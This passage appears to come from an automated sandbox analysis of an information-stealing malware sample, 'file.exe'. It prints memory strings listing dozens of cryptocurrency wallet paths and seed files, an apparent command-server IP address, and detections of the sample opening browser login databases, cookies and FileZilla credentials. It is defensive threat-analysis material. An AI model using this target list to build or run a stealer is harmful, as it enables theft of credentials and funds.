Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
